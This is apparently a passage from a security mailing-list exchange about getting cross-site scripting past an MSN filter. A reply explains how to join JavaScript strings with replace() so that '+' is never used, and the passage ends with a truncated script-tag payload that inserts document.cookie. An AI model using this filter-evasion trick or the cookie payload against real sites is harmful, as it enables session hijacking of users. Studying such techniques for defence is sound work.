Is there another way to exploit this which I am not 
seeing? Or does MSN actually have their act together
 (in this particular case...)?

P.S. Well, I suppose the real question may be this:
Is there a way to concatenate javascript strings without "+" or "%2B"?

Sure there is, the first that springs to mind is to use the replace method
which all strings have:

var myString = "hi $".replace('$','monkeyboy');
alert( myString ); // alerts "hi monkeyboy"

The first argument can be both a string or a regular expression.

ace('$',document.cookie));</script>&ct=1033054530&_setlang=",,-1,0,,,,
